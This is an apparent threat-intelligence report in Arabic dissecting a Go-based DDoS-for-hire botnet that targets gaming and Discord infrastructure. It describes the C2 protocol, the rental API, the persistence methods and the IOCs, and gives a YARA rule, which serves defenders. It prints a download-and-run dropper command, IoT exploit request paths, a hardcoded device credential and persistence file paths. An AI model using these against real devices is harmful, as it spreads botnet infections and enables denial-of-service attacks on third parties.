malware · botnet · ddos · golang · iot · honeypot · gaming · mirai
داخل عملية DDoS للإيجار موجّهة إلى قطاع الألعاب
تقدّر Kinryū Labs بثقة عالية أن هذه عملية DDoS تجارية للإيجار موجّهة إلى قطاع الألعاب تعمل على عُدّة بناء شبكة بوت مشتركة. تُصرَّف قاعدة كود Go ذاتها من مشغّلين مختلفين، لكلٍّ خوادم C2 الخاصة به وحمولات هجومه؛ ويُقدِّم الأسطول المُحلَّل هنا واجهة برمجة تطبيقات للإيجار ذاتية الخدمة ومُقيَّدة بالحسابات، ومخزوناً حيّاً من البوتات يبلغ نحو 28 إلى 32 جهازاً، مُرسِلةً أوامر هجوم العملاء ضد بنى الألعاب والصوت. قناة أوامرها عبر TCP الخام غير مُصادَق عليها، بينما يُقيَّد تسجيل البوت خلف قناة SSH مُصادَق عليها بكلمة مرور.
بقلم Davis Zheng·
TLP:CLEAR. أُجيز للنشر العام. التُقطت بواسطة شبكة مستشعرات مصائد Kinryū Labs. المؤشرات أدناه مُبطَّلة المخالب (defanged).
ملخص تنفيذي
- 11ثنائياً فريداً عبر 7 معماريات
- 28-32بوتاً نشطاً على واجهة برمجة تطبيقات الإيجار
- 1متغيّر قادر على SSH (ثنائي Windows PE)
هذه شبكة بوت DDoS مبنية على Go ذات قدرات دودة IoT، مُوزَّعة عبر برنامج إسقاط متعدد المعماريات (bins.sh) ومُدارة كخدمة DDoS تجارية للإيجار. يتّصل البوت بخادم القيادة والتحكّم الخاص به عبر TCP الخام، ويرسل نبضات STATS دورية، ويستقبل أوامر هجوم مفصولة بالأسطر. تقدّر Kinryū Labs بثقة عالية أن هذه شبكة بوت DDoS للإيجار عاملة وموجّهة إلى قطاع الألعاب.
السمة المميّزة هي عدم تناظر في المصادقة. قناة الأوامر على 9111/tcp غير مُصادَق عليها: لا كلمة مرور ولا رمز ولا استجابة تحدٍّ تمرّ بين اتصال TCP وإرسال الأمر. يُتتبَّع تسجيل البوت على نحو منفصل عبر قناة SSH مُصادَق عليها بكلمة مرور على 911/tcp، ويعكس عدّاد البوتات في واجهة برمجة تطبيقات الإيجار تلك التسجيلات المُصادَق عليها لا اتصالات الأوامر المفتوحة. لا يتحدّث الثنائي المُحلَّل إلا بقناة TCP الخام ولا يحمل عميل SSH، فتسجيل البوت يتولّاه مكوّن مُحمِّل منفصل.
تُدار هذه العملية كنشاط تجاري ظاهر. يُقدِّم مضيف القيادة والتحكّم واجهة برمجة تطبيقات DDoS للإيجار ذاتية الخدمة ومُقيَّدة بالحسابات، وينشر عدداً حيّاً لمخزون بوتاته، وهو أحد واجهات متجر متعددة مبنية من عُدّة شبكة البوت ذاتها. وعلى مدى عدة ساعات من المراقبة، أرسلت الخدمة أوامر هجوم العملاء في الوقت الحقيقي.
- قناة الأوامر غير مُصادَق عليها؛ أما التسجيل فلا. يقبل TCP الخام إلى
9111الأوامر دون أي مصادقة، بينما يتتبّع عدّاد البوتات في واجهة برمجة تطبيقات الإيجار جلسات SSH المُصادَق عليها بكلمة مرور على911. أكّد الاختبار الحيّ أن اتصال TCP خام إلى9111، وتبادل مفاتيح SSH غير مُصادَق عليه على911، كليهما يُبقي عدّاد البوتات دون تغيير. - الأسطول قاعدة كود Go واحدة مُصرَّفة بطرق عدّة. تنخفض ستة عشر ملفاً على خادم ملفات C2 إلى أحد عشر ثنائياً فريداً عبر سبع معماريات، جميعها تشترك في مسار الوحدة
Botnet/Botوأعلام البناء-tags=netgo -trimpath=true. ثنائي Windows PE هو المتغيّر الوحيد الذي يحمل عميل SSH؛ أما بناءات Linux وIoT فتنتشر عبر استغلالات الماسح وبرنامج الإسقاط. - تستهدف الخدمة سوق مُجهِدات الألعاب (stresser). تشمل مجموعة الطرق إغراقات FiveM وMinecraft وDiscord، وكانت أوامر الهجوم الحيّة التي التقطناها موجّهة كلها تقريباً إلى بنى الألعاب والصوت.
- الإطار تصميم من سلالة Mirai أُعيدت كتابته بلغة Go. يشترك مع أنماط Mirai البنيوية: قناة أوامر TCP غير مُصادَق عليها، وأوامر مفصولة نصياً، وإرسال بمعدّل goroutine لكل هجوم، وماسح IoT يضرب أهداف الاستغلال ذاتها، مُعاد تنفيذها بلغة Go مع طرق سوق الألعاب، وإغراقات TLS/HTTPS، وواجهة برمجة تطبيقات للإيجار مُركَّبة فوقها.
- هذه عُدّة بناء مشتركة لا شبكة بوت مُفصَّلة على الطلب. يتشارك خادم إسقاط ثانوي البنية التحتية مع C2 لمشغّل آخر، وتتشارك الأساطيل المبنية من هذه العُدّة مسار الوحدة، والماسح، وآليات الاستمرارية، واستغلالات أجهزة التوجيه، بينما تختلف في عنوان C2 واختيار طرق الهجوم.
العُدّة ومتغيّراتها
يستضيف C2 دليلاً مفتوحاً يقدّم أسطول شبكة البوت. تنخفض ستة عشر ملفاً إلى أحد عشر ثنائياً فريداً بحسب SHA-256، تمتدّ عبر x86 وx86-64 وARM (v5/v6/v7) وARM64 وMIPS (بترتيبَي البايت الكبير والصغير)، إضافةً إلى ثنائي Windows PE وكعب (stub) أدنى. جميعها تشترك في قاعدة كود Go المسمّاة Botnet/Bot، مُصرَّفة بـ Go 1.26.4، دون أي واردات من طرف ثالث عدا عميل SSH في بناء Windows.
ثلاث نقاط تبرز:
- ثنائي Windows PE هو المتغيّر الوحيد القادر على SSH. يستورد
bot.exeوحدهgolang.org/x/crypto/ssh؛ ولم يعثر مسح كامل للسلاسل في بناء Linuxamd64ومقارنة عبر الثنائيات لجميع الأحد عشر ثنائياً فريداً على أي واردات SSH في مكان آخر. تنتشر متغيّرات Linux وIoT عبر الماسح وبرنامج الإسقاط. - أحد المتغيّرات بناء أقدم بلا C2. صُرِّف
x866بـ Go 1.25.6، مقابل 1.26.4 للأسطول، وهو أصغر متغيّر ELF، ولا يحمل عنوان C2 ظاهراً؛ ويُرجَّح أن العنوان مُرمَّز أو مُزوَّد وقت التشغيل. يشترك في قاعدة كودBotnet/Bot، ما يربطه بالمشغّل ذاته. sora.x86ليس شبكة بوت. رغم اسم ملف يستحضر عائلة Mirai المسمّاة “Sora”، فهو كعب Go أدنى بُني بسلسلة الأدوات ذاتها، وكامل كوده الخاص بالمستخدم يطبعsora.x86 is runningثم يخرج، دون عنوان C2 أو ماسح أو طرق هجوم أو بيانات اعتماد. والأرجح أنه يعمل حارس عملية أو طُعماً على خادم الملفات.
تمتدّ ثلاث عمليات التقاط لثنائي Windows PE على نحو أسبوع: اثنتان متطابقتان بايتاً ببايت، ولاحقةٌ إعادة بناء مُجرَّدة من الرموز أصغر حجماً، وأخرى أحدث منها إعادة تصريف كاملة المزايا تختلف عن الأصل.
بروتوكول C2
قناة الأوامر هي TCP خام دون مصادقة نقل. تسلسل الاتصال هو جلب إعداد اختياري (GET /config.dat، يُتحقَّق منه مقابل checkcode مُضمَّن)، ثم روتين استمرارية، ثم net.Dial إلى منفذ الأوامر، وبعدها يقرأ البوت الأوامر دون أن يكتب أي شيء أولاً.
- النبضة:
STATS|%d|%d|%d|%d|%s\n. الحقل الأخير هو نظام التشغيل أو المعمارية (مثلamd64)؛ وتُبلِّغ الأعداد الصحيحة الأربعة عن عدّادات الهجوم والاتصال والمسح والإصابة. - الأوامر: مفصولة بأسطر جديدة ومُقسَّمة بالمسافات، على الصيغة
ATTACK_TYPE TARGET PORT DURATION [OPTIONS...]. يختار الحقل الأول الطريقة، وتُحلَّل الحقول الرقمية بـstrconv.Atoi. - إعادة الاتصال: مؤقّت مدته 120 ثانية يعيد الدخول إلى حلقة الاتصال.
- الإعداد: تُسحَب بيانات الاعتماد والإعداد من
config.datوتُفكّ شفرتها بشفرة XOR مخصّصة متعددة المراحل (مخزن مؤقت حجمه 4,078 بايت مُهيَّأ بمسافات، ثم XOR على مستوى البايت ببايتَي مفتاح ثابتين،0x24و0x3C). وقت التحليل لم يكنconfig.datمُقدَّماً، ما يشير إلى أن المشغّل عطّله أو نقله.
طرق الهجوم
يشحن البوت عُدّة DDoS واسعة، مُفهرَسة من أسماء دوالّه وسلاسل سجلّاته:
طرق الهجوم
موجّهة للألعاب: FiveMFlood، FiveMBypass، FiveMTCP، Minecraft، Discord.
الطبقة 7: HTTPSFlood (Starting Optimized HTTPS Flood on)، Bypass، TLSFlood، TLSPlusFlood، TLSPlusBypassFlood، Priv7Flood (PRIV7 Attack finished).
الطبقة 4: TCPFlood، PPSFlood، PPSRawFlood، RawTCPFlood، RawACKFlood، ResetAttack.
الطبقة 3: UdpFlood، RawUDPFlood، UDPPPSFlood (Extreme UDP (PPS))، GbpsFlood (High GBPS)، DNSFlood.
خاصة / مرتبطة بالاستضافة: OVHFlood (يستهدف OVH)، GameFlood، FortAttack (Fortnite)، Crash، Freez.
خاصة بـ Linux فقط (غير موجودة في بناء PE): NtpAmp (تضخيم NTP كامل؛ يشحن PE كعباً)، HandshakeFlood (إغراق TCP SYN عبر مقبس خام مع انتحال IP)، VoultFlood (إغراق عبر مقبس خام مع حساب المجموع الاختباري).
تدوّر إغراقات HTTP اثنتي عشرة سلسلة User-Agent متصفّح مُضمَّنة بالكود، وتضبط Referer من مجموعة مواقع عالية السمعة (google.com وtwitter.com وfacebook.com وfbi.gov وreddit.com وbing.com) كي تختلط بحركة المرور المشروعة وتتسلّل من تصفية WAF.
الماسح ودودة IoT
يخمّن الماسح تخميناً شاملاً بيانات اعتماد تسجيل دخول IoT ويستغلّ عدة حزم ويب لأجهزة مُضمَّنة: كاميرات JAWS DVR/IP (GET /syscmd.htm)، وخادم Boa على أجهزة التوجيه (POST /boafrm/formSysCmd وPOST /boafrm/formLogin)، والأجهزة القائمة على GoAhead (setUserLogin لتجاوز المصادقة وإنشاء مستخدم مسؤول، وgetSanvas لاستخراج الإعداد). تُدفَع الأجهزة المُختَرقة إلى تشغيل wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh.
بيانات الاعتماد مُقسَّمة. كلمة مرور واحدة للماسح مُضمَّنة بالكود في الثنائي (555111111!!، مع اسم مستخدم مُرجَّح 555)، بينما تُسحَب قائمة بيانات الاعتماد الأكبر من config.dat وقت التشغيل وتُفكّ شفرتها بـ XOR.
تستخدم الاستمرارية أربع آليات إضافةً إلى تمويه العملية: وحدة systemd عند /etc/systemd/system/sysd.service (مع daemon-reload)، ومدخل cron عبر /tmp/cron_tmp، وrc.local (/etc/rc.local و/etc/rc.d/rc.local)، وinit.d (/etc/init.d/boot.local). تتنكّر العملية بهيئة عفريت نظام باسم sysd.
عملية الإيجار
مضيف القيادة والتحكّم مُرتَّب كنشاط تجاري. يعرض SSH للمشغّل على 22، وقناة تسجيل بوت SSH مكتوبة بلغة Go على 911 (مصادقة بكلمة مرور، على مفتاح RSA-2048 متمايز)، وواجهة برمجة تطبيقات HTTP لـ DDoS للإيجار على 3333، وقناة أوامر TCP الخام على 9111، وخادم ملفات بدليل مفتوح على 5001 يستضيف أسطول البوت للتنزيل.
واجهة متجر ذاتية الخدمة. واجهة برمجة التطبيقات على 3333 هي booter أدنى بنقطة نهاية واحدة. تُرجِع /stats عدداً حيّاً لمخزون البوت؛ وتأخذ /api طلباً. تتحقّق من user وpsw، وهما بيانات اعتماد حساب لكل عميل، إلى جانب host وmethod وtime/duration وport، وهي معطيات الهدف والهجوم، وترفض أي شيء ناقص أو غير مُصادَق عليه. نموذج الطلب ظاهر من عمليات السبر غير المُصادَق عليها:
GET /stats
{"time":<unix>,"total":30}
GET /api
Missing parameters: user, psw, host, method, time/duration, port
GET /api?user=…&psw=…&host=…&method=…&time=…&port=…
Authentication failed
يتطابق نموذج الطلب واحداً لواحد مع صيغة أمر البوت (ATTACK_TYPE TARGET PORT DURATION): طلب واجهة برمجة تطبيقات مُصادَق عليه واحد يصبح سطراً واحداً يُرسَل عبر قناة 9111 غير المُصادَق عليها إلى كل بوت مُسجَّل.
مخزون مُنتقى. أبلغت /stats عن 28 إلى 32 بوتاً نشطاً مع تبدّل مستمر على مدى النافذة المُراقَبة. ولأن ذلك العدّاد يتتبّع التسجيلات المُصادَق عليها بكلمة مرور على 911 لا اتصالات الأوامر الخام، فهو عدّ مخزون مُدقَّق. وهذا هو السبب التشغيلي لتقسيم التسجيل وإرسال الأوامر عبر قناتين: بوابة واحدة لتحديد أي البوتات ينتمي إلى الخدمة، وقناة مفتوحة واحدة لتشغيلها.
تحوّل من التعدين إلى DDoS. يحمل خادم الإسقاط الثانوي ملف miner.sh مُفرَّغاً إلى جانب أسطول DDoS، وهو بقية مكوّن مُعدِّن عملات مشفّرة أُزيل منذئذٍ. ويبدو أن المشغّل انتقل من تعدين العملات المشفّرة إلى بيع DDoS.
تنفيذ الطلبات، مُراقَباً حيّاً
تحقّقنا من البروتوكول المُعكوس مقابل C2 الحيّ بمراقب سلبي وشاهدنا الخدمة تعمل. كان C2 خاملاً في معظمه؛ وخلال جلسة واحدة امتدّت عدة ساعات أرسل ثلاثة عشر أمر هجوم، كلٌّ منها طلب عميل دُفِع إلى الأسطول.
كانت الطلبات موجّهة كلها تقريباً إلى بنى الألعاب والصوت: في معظمها خوادم ألعاب FiveM (GTA V) على Google Cloud في السعودية، مع نقاط نهاية صوت Discord على Cloudflare وزوج من خوادم الويب. نقدّر أن هذه خدمة مُجهِد (stresser) موجّهة إلى الألعاب تعمل على نزاع عميل مُحدَّد. ويُقرأ نمط الإرسال كتسليم خدمة: مُدَد هجوم متدرّجة تشبه مستويات منتج (سبر 20 ثانية، وقياسي 30 ثانية، ومستدام 60 ثانية)، وتصعيد في الطريقة (إغراق عام لاختبار هدف، ثم طريقة خاصة بالبروتوكول ضده)، وإرسال مزدوج ومُتدفّق يتبعه هدوء، وطرْق مزدوج لكلا عنوانَي IP خلف صوت خادم Discord الموزَّع الحِمل.
عُدّة بناء مشتركة
هذه ليست شبكة بوت مُفصَّلة على الطلب. إنها بناء واحد لعُدّة شبكة بوت يخصّصها مشغّلون مختلفون ويديرونها كخدمة خاصة بهم. وأوضح رؤية للعُدّة هي مقارنة جنباً إلى جنب مع الأسطول في تقريرنا الأسبق، شبكة بوت DDoS للإيجار عابرة للأنظمة مكتوبة بلغة Go، الذي يعمل على قاعدة الكود ذاتها:
| التقرير الأسبق | هذه العملية | |
|---|---|---|
| قاعدة الكود | عُدّة Go المسمّاة Botnet/Bot | عُدّة Go المسمّاة Botnet/Bot ذاتها |
| التسليم | Jenkins RCE + ماسح IoT | Jenkins RCE + ماسح IoT |
| الماسح والاستمرارية واستغلالات أجهزة التوجيه | مشتركة | مشتركة |
| عنوان C2 | 185.226.93[.]242 | 5.175.140[.]178 |
| الحمولة والسوق | DDoS عام الأغراض | مُجهِد ألعاب (FiveM، Minecraft، Discord) |
تتشارك الأساطيل مسار الوحدة Botnet/Bot، والماسح واستغلالات IoT ذاتها، وآليات الاستمرارية ذاتها، وبرنامج الإسقاط ذاته، وتعمل على بنية تحتية متداخلة: خادم الإسقاط الثانوي هنا (185.226.93[.]242) هو C2 التقرير الأسبق. ما يختلف هو الحمولة والسوق. يُصرِّف ذلك الأسطول الآخر مجموعة إغراق عامة الأغراض؛ أما المشغّل هنا فيُصرِّف طرق الألعاب ويشحن واجهة برمجة تطبيقات طلبات الإيجار، مُوجَّهة مباشرةً إلى سوق مُجهِدات الألعاب. وهما معاً يشيران إلى اقتصاد عُدَد بناء: قاعدة كود مشتركة، تُعاد بيعها أو تُتداول، ويقيم كل مشغّل واجهة متجر بأهدافه الخاصة.
مؤشرات الاختراق
بنية المهاجم مُبطَّلة المخالب. البصمات مُستنسَخة تماماً.
الشبكة
| المؤشر | السياق |
|---|---|
5.175.140[.]178:911/tcp | تسجيل البوت (Go SSH، مصادقة بكلمة مرور؛ تحصيه واجهة برمجة تطبيقات الإيجار) |
5.175.140[.]178:9111/tcp | إرسال الأوامر (TCP خام، غير مُصادَق عليه؛ غير محصيّ) |
5.175.140[.]178:3333/tcp | واجهة برمجة تطبيقات DDoS للإيجار (/stats، /api) |
5.175.140[.]178:5001/tcp | خادم ملفات بدليل مفتوح (أسطول البوت + برنامج الإسقاط) |
5.175.140[.]178:22/tcp | SSH المشغّل (OpenSSH 9.7p1 Ubuntu) |
hxxp://5.175.140[.]178:9111/config.dat | جلب الإعداد عبر TCP خام |
hxxp://5.175.140[.]178:5001/bins.sh | برنامج إسقاط متعدد المعماريات (الأساسي) |
185.226.93[.]242:1001/tcp | برنامج إسقاط ثانوي (C2 لمشغّل منفصل) |
hxxp://185.226.93[.]242:1001/bins.sh، …/binns.sh | برنامج الإسقاط (الثانوي + متغيّر مطبعي) |
217.60.195[.]229 | العنوان المصدر الذي سلّم العيّنة |
5.175.140[.]0/24 | تخصيص الاستضافة |
سلاسل الماسح / الانتشار
GET /syscmd.htm HTTP/1.1 (JAWS DVR/IP camera RCE)
POST /boafrm/formSysCmd HTTP/1.1 (Boa router RCE)
POST /boafrm/formLogin HTTP/1.1 (Boa login)
GET /login.htm HTTP/1.1 (router login page)
{"topicurl":"setting/setUserLogin",...} (GoAhead auth bypass / admin-user creation)
{"topicurl":"setting/getSanvas"} (GoAhead config extraction)
GET /config.dat HTTP/1.1 (remote config fetch)
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
proxy/tlsplusbypass.txt
آثار المضيف
Process name: sysd
systemd: /etc/systemd/system/sysd.service (+ daemon-reload)
cron: /tmp/cron_tmp
rc.local: /etc/rc.local, /etc/rc.d/rc.local
init.d: /etc/init.d/boot.local
Hardcoded scanner credential: 555111111!! (likely username 555)
الملفات (SHA-256)، Go 1.26.4 ما لم يُذكر خلاف ذلك
بصمات الملفات كاملةً
bot.exe (Windows PE, only SSH-capable variant), captures:
6da756970a411dade9db3c921ef4cdade550f317703d0fc12090a15d8c6778d4 (6,253,056 bytes)
36f1b06c942271496d8a9e26bde8d5ddacea82965ea3232ea99804170c1e4e25 (4,933,632 bytes, stripped rebuild)
4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 (6,020,608 bytes, full rebuild)
Linux amd64: 8ddad5973d0ed85ba2babe36121d16fa9307b8804206f645630b10f772010680
Linux i386/x86 (byte-identical): d862b2589aef9611807dfe1f27c4544120dd76f029afc006038ad5b81d57086e
Linux ARM (android_arm = arm = arm7 = armv7l): 523c4096458bc3ac42e2bc92a8cf5a36b7bab1c75a2cc0e1ab3f9e5db3c33c82
Linux ARM5: 362c5394a0fa1e87929da5967ec779dcf8c7bbcbdd9417391349e9aa6c2cc4b3
Linux ARM6: 2709ce2627b6aed42166bc7cdf14f9b22855ee7a99f9eb76febb1ec9c8d22b41
Linux ARM64 (android_arm64 = arm64): 428de403a62e4e8ebc2e54af94d36e43e6b26d5e41bbc0d81b39c3e19f4b1d2a
Linux MIPS (BE): 6500fef3003e5d2d7ef6fbdbe6219e93f31082c232ce2769f206d1f425c75f21
Linux MIPS (LE): 3e02755cd326c9c724abc730a40ae0cccebfa23614fbbd566a08b71a1f5f2fdc
x866 (Go 1.25.6, no visible C2 IP): f223bc55bad1bf9ba6ae9ba11f58b338bc00e8e0d4b50311b5b5c42a09a7c122
sora.x86 (Go stub, not a botnet): a1a9e0a94780a05097544b62eb13db7444b29033fbe1d30a16f2d2334ec424ad
sora.x86 SHA-1: efa32ae20b15f835b96da5ce9e83332b83cbd098
sora.x86 MD5: 3f95cf1ed17f7e00a7be4f5cf12e0088
x86/i386، ومجموعة ARM7 (android_arm/arm/arm7/armv7l)، وandroid_arm64/arm64 متطابقة بايتاً ببايت؛ ويختلف arm6 عن مجموعة ARM7 رغم الحجم ذاته (توليد كود GOARM مختلف).
الاستضافة
Provider: Ryzehosting
Maintainer: GHOSTNET-MNT
Abuse: [email protected]
Reverse DNS: static.178.140.175[.]5.clients.ryzehosting.com
IP allocated: 2026-03-15
الكشف
السلاسل مستقرّة وغير مُبهَّمة، فالتواقيع مباشرة. قاعدة YARA المرشّحة أدناه مبنية من سلاسل مميّزة؛ تحقّق منها قبل النشر.
rule go_gaming_ddos_bot_candidate
{
meta:
description = "Candidate: Go DDoS-for-hire botnet (Botnet/Bot codebase, gaming loadout)"
author = "Kinryu Labs honeypot CTI"
reference = "6da75697...78d4" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$mod = "Botnet/Bot" ascii
$cnc1 = "Connecting to CNC" ascii
$cnc2 = "Connected to CNC" ascii
$stats = "STATS|" ascii
$svc = "/etc/systemd/system/sysd.service" ascii
$cron = "/tmp/cron_tmp" ascii
$fivem = "Starting FiveM Flood on" ascii
$cred = "555111111!!" ascii
condition:
($mod and 2 of ($cnc1, $cnc2, $stats)) or
($svc and $cron) or
(2 of ($fivem, $cred, $stats))
}
منطق كشف إضافي:
# STATS heartbeat on egress (regex)
STATS\|[0-9]+\|[0-9]+\|[0-9]+\|[0-9]+\|.+\n
# IoT exploit payloads (inbound)
GET /syscmd.htm HTTP/1.1
{"topicurl":"setting/setUserLogin","username":"...
{"topicurl":"setting/getSanvas"}
# Dropper execution chain
wget %s -O bins.sh; chmod +x bins.sh; ./bins.sh
المعالجة
- لا تعرّض Jenkins، أو سائر واجهات CI/CD والإدارة، للإنترنت. كان هذا ناقل التسليم.
- رقّع أو اعزل أجهزة IoT القائمة على JAWS وBoa وGoAhead، واحظر الوصول الخارجي إلى واجهات إدارتها. هذه هي أهداف انتشار الماسح.
- احظر بنية C2 والإسقاط عند المحيط (
5.175.140[.]178وبرنامج الإسقاط185.226.93[.]242:1001)، ونبّه على جلبconfig.datوسلسلة تنفيذbins.sh. - نبّه على آثار الاستمرارية واسم العملية
sysd، وعلى نمط نبضةSTATS|في الخروج (egress).
مخطط MITRE ATT&CK
| التكتيك | التقنية |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (تسليم عبر Jenkins؛ استغلالات حزم ويب IoT في JAWS / Boa / GoAhead) |
| Execution | T1059.004 Command and Scripting Interpreter: Unix Shell (برنامج إسقاط bins.sh) |
| Persistence | T1543.002 Systemd Service (sysd.service)؛ T1053.003 Cron؛ T1037.004 RC Scripts (rc.local)؛ سكربت إقلاع init.d |
| Defense Evasion | T1036 Masquerading (اسم العملية sysd؛ انتحال User-Agent المتصفّح وReferer)؛ T1027 Obfuscated Files or Information (config.dat مُرمَّز بـ XOR) |
| Credential Access | T1110 Brute Force (تسجيل دخول جهاز IoT) |
| Discovery | T1046 Network Service Scanning (ماسح IoT) |
| Command and Control | T1071.001 Web Protocols (config.dat)؛ T1571 Non-Standard Port (911، 9111، 3333، 5001)؛ T1105 Ingress Tool Transfer (برنامج إسقاط متعدد المعماريات) |
| Impact | T1498.001 Direct Network Flood (UDP / TCP / PPS / FiveM / Discord)؛ T1498.002 Reflection Amplification (DNS / NTP) |
المنهجية وملاحظات
- التحليل هندسة عكسية ساكنة إضافةً إلى تحقّق سلبي من البروتوكول الحيّ؛ ولم تُشغَّل الثنائيات قط.
- المؤشرات مُبطَّلة المخالب والبصمات مُستنسَخة تماماً.
- العيّنات متاحة للباحثين والمدافعين الآخرين عند الطلب. راسل [email protected] مع ملاحظة قصيرة عمّن أنت وما حاجتك إليها.